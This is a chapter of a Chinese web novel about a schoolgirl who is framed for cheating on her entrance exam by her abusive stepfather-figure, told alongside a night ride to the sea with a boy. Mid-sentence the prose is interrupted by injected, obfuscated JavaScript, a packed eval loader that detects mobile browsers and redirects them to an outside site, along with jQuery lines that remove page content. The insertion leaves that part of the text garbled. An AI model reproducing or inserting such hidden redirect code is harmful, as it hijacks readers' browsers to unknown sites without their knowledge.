22. Sandm 22
作品:《玻璃情话》 Sandm22/“太陽雨”
台北很少有晴天,更很少会下太阳雨。
林弥初记忆里唯一一次的太阳雨,下在了去参加学测考试的那天。
她有将近一个多月的时间没在学校和家里见过王在明,母女在一块吃晚饭的时候她开口问林田英,她说他被喊去出考卷了,这几天都住在外面,没办法和任何人联系。
林弥初听后垂眼,遮住眼底的释然,好像一直咬在嘴里的一口气骤然松懈下来,手中的筷子重重捣在碗底。
她不知道为了等这一天煎熬了多久,久到好像已经过了一辈子那么漫长。
好在只剩下明天。
明天所有的学业都会结束。
她再也不用见到王在明了。
她给林田英夹了好多菜,仿佛已经能预见到自己以后松快的未来,于是没忍住和林田英说了好多话,说自己以后想念的大学,还说以后要把她接出台北一起住。
林田英听了她的话只是笑:“这么有信心啊,那是件好事喔。”
林弥初继续追问她愿不愿意和她搬出台北。
林田英看着她充满希冀的眼睛,依然还是摇了摇头:“你王叔叔还在附中这边工作呢,以后呢,我们肯定还是要住在台北的,总不能留他一个人住在这里吧。”
林弥初原本还在笑的嘴唇瞬间往下垮,心也跟着一秒凉下去。
有那么一两秒钟,她看着林田英毫不知情的眼睛,想要把一切都毫无顾忌地和盘托出。
想要逃出台北,想要逃离这个深渊,想要让林田英和这个衣冠禽兽断绝任何来往。
她的嘴唇动了动,压在心底的话和气泡一样,源源不断地冒出,却又在即将出口时破裂消弭,循环往复。
最终她还是没找到机会开口,因为林田英哼着歌把位置搬去了客厅沙发,说自己正在追的那部电视剧马上要开演。
林弥初决定算了,将碗里冷掉的饭吃完,将碗筷全部收拾洗干净。
做完这一切后,她放空脑袋躺在书桌前的转椅上。
临到这个时候复习和看书已经变得毫无意义,她对着天花板默背自己最不擅长的化学公式。
背得最专注的时候,窗边传来一声轻微的响动,她的注意力被分散,一边继续背,一边来到窗边拉开窗户。
外面的冷风一下子吹进来,把她脸侧的头发吹到了身后。
林弥初目光先是在对面那扇暗着的窗户那看了一眼,而后才往下看。
看见柯叙凛穿着件黑领夹克,正站在寒风中,松散着肩背,手里抛着粒小石子,大有她没动静就再来一颗的架势。
林弥初说这房是房东的,要是她窗户玻璃砸坏了,他负主要责任,得赔。
他听完后笑,一副无所谓“爷有得是钱”样子,抄着兜让她先下来。
林弥初的身影在窗边停了一会儿,在考虑,而后回身看了一眼还在客厅津津有味看电视的林田英。
这么迟了她估计不会再允许她出门。
林弥初把衣服换了,以很小的动静打开门,悄无声息地溜出去。
下楼除了见到人以外还见到一辆崭新拉风的机车,林弥初脚步转悠着转了一圈,反问:“叫我下来就是为了看这个?”
柯叙凛晃晃手里的钥匙:“怕吗?不怕上来兜一圈?”
林弥初当然不会说怕,她戴上头盔,毫不犹豫地跨上了后座。
机车和单车骑起来完全不一样,轰鸣声那么响,后坐力扯着她往他的腰间抱。
冬风夹杂着一点冷雨,全被前面的那道宽阔的背影挡掉,林弥初用凉透的指尖环着柯叙凛,越来越紧。
两个人都戴着头盔没法开口说话,但是却在这风驰电掣的无人公路上,极致的速度下,错生出一种相依为命的温暖感。
下车的时候林弥初的腿都有点抖,她晃了一下,没表露出来,把头盔拎在怀里,若无其事地往前走。
再继续往前走两步,眼睛看到宽阔的海面,脸颊也感受到温暖的海风,她吸了吸发红的鼻尖,看见柯叙凛在后面拢着手点烟,指节被打火机火光映亮了一截。
她捋过自己的发丝:“干什么带我来这?”
他没看她,看着前面,手里的烟被海风加速燃着,很快没了半截:“放松心情,怕你明天紧张。”
“我怕什么,”林弥初说,“我只会觉得很快就解脱了。”
“你才应该紧张吧,你家不是对你学习成绩要求很严吗?要是考砸了,他们不得连夜坐航班赶回来教训你。”
柯叙凛静静转过头来看她,没说话,似乎早就看穿她这堆废话后的虚张声势。
林弥初被他的目光盯得烦躁,干脆也不继续演了,整个人肩膀垮下来,坐到地面。
她确实已经被折磨得身心俱疲,脑中始终紧绷着一根弦,提心吊胆到希望明天不出任何差错。
“柯叙凛,做人好累啊。”
“要是有下辈子的话,我想当一条海里的鱼。”
“不,丑的我不想当,还是热带鱼好了,”她抱着膝盖改口,“要尾巴最漂亮的那种。”
柯叙凛跟着她松垮蹲下身,手肘撑在腿间,还夹着烟,闻言冷嗤一声:“你要求还挺多。”
“你呢?你还从来没和我说过,你以后想干什么?”
他始终低着的脸因这句话而抬起,淡淡说:“想当科技业的,工资很高。”
“只要我赚够了钱,或许我爸妈就愿意回家了。”
“我没法想象你戴上黑框眼镜老老实实坐在电脑前当个it男的样子。”
话落,他没脸没皮地接口:“我也没法想象你在水里晃着漂亮尾巴当热带鱼。”
林弥初胸腔里生出的那么一点浪漫情绪被砸得稀烂。
她气恼地扬起手要打他,那一掌却没成功落到他手臂,而是正好挥到他掌心。
柯叙凛收紧手心,扣住她的手,两个人的手心一下子变得紧贴,一种不寻常的情愫在夜风里肆无忌惮地疯狂生长。
最后那点烟燃完,他把烟蒂掷出去,背靠着大海,眼尾肆意勾着,目光惊人的亮:“希望我们都能得偿所愿。”
^
回去后林弥初半宿没怎么睡着,脑子里一直处在兴奋的状态里。
她天还没亮就爬起来,将考试用具全部仔细核对了一遍,确定没有遗漏,这才睡回去,放任自己睡到被闹钟叫醒。
学测考试对考生来说的要求更大程度取决于自己想填报申请的大学,林弥初想报考名校,不仅仅是需要在考试中努力,之后的面试也得取得不错的成绩。
她围着条围巾,在考场教室门口温习课本,打开保温杯,要喝的时候目光撇到了这个教室的监考老师进场,因此被水呛了一口,止不住地咳。
林弥初无言悚然,看着王在明拿着检查电子设备的仪器站在门口,示意坐好准备的考生可以进场,看都懒得看她一眼。
但林弥初仍然盯着他,脑中理智和怀疑不停地较量,最后后者占了上风。
她在看考场的时候并不知道监考老师是谁,但是他却可以顺着她的考
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089365|179649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
号名字找到一切。
林弥初呼吸着,胸口起伏,放下手里的杯子。
考试预备铃打响了,她不得不进考场,而王在明就以一种“再不过来就只能在考场外认输”的姿态漠然看着她。
林弥初最终还是走了过去,张开双臂任由他手里的复杂机器扫过全身,眉心皱起来,因为他的触碰而僵硬着全身,感觉浑身不自在。
检查完,她走到自己的位置上坐下来,确认王在明弄不出别的事后,稳下自己被影响的心态等待开卷。
卷纸很快发下来,林弥初一行行仔细看着,确认着题目,心里越来越安心,答题的速度也越来越快。
第一页试卷答完,翻过一个面,正巧王在明在前面理好东西,手上抱着东西往教室后走。
绕过林弥初身侧的时候,那个仪器忽然响了一下。
她的笔顿住,心脏跳得很快。
很快考场上另一个监考老师也赶过来,重新把仪器打开,在林弥初身侧扫过,扫过她口袋的时候,发出了警报的响声。
考场上所有人都看了过来。
监考老师铁面无私地伸手说:“拿出来。”
林弥初动作迟缓地把手伸到自己的衣兜里,把本该不出现在这里的东西拿出来。
——一部旧手机。
她已经不用了,放在家里的那一部。
这时候反应过来是怎么回事,林弥初看向王在明,再也忍不下去,猛地一拍桌子站起来。
而监考老师比她的动作要更快一步,他把她手里的手机收过来,证据很充分。
“同学,你涉嫌考试作弊了,成绩作废。”
^
从教务处走出来,林弥初抿唇低着头,浑身气压很低,她一遍又一遍地和各个老师、教育部的领导解释,她并没有作弊,不是她干的。
但是没有人信她。
所有人都觉得她是想要取得好成绩,一时走偏了路。
走过考试教室,第一场考试刚好结束,王在明低头收拾试卷,从容不迫地准备下楼。
林弥初想也不想地冲上去,一把揪住了他的衣领,把他重重抵在墙壁上。
“是你放的,”她笃定道,眼眶红了,“你凭什么要这样做?”
王在明要走,又被她大力按回去,他这时摆出一副老师的严肃姿态,问她是不是想再多一项殴打老师的罪名。
林弥初怒气全部涌上来:“你这个人渣!”
“东西是你自己带进考场的,”王在明以堪称冷静的目光欣赏着她歇斯底里的发疯,“只是当时我没仔细查,放了你这条漏网之鱼。”
“这部手机我上了高中就不用了,一直放在家里,这种考试这种场合为什么要带!”
“那就要问你了,”他伸手拍了拍林弥初的肩,被她避开,“可惜你一直那么想考出台北,现在又要再多等一阵了。”
“哦不对,留下作弊污点,以后能不能参加考试也不一定了。”
王在明走后,林弥初一个人站在楼道上。
她像是耗尽了所有的力气,把脑袋埋入臂弯,不停地艰难深喘,像是条溺水的鱼。
整个人都被一股绝望笼罩着,完全看不见未来的光亮。
林弥初走到楼下,头一直低着,看着脚下被阳光照射的影子,那点影子很快就被骤雨砸得洇湿,也砸得她抬不起头。
一滴一滴的,和掉地上的眼泪混杂在一起,再也分不清。
原来晴天也会下太阳雨。
原来她永远也走不出这个雨天。

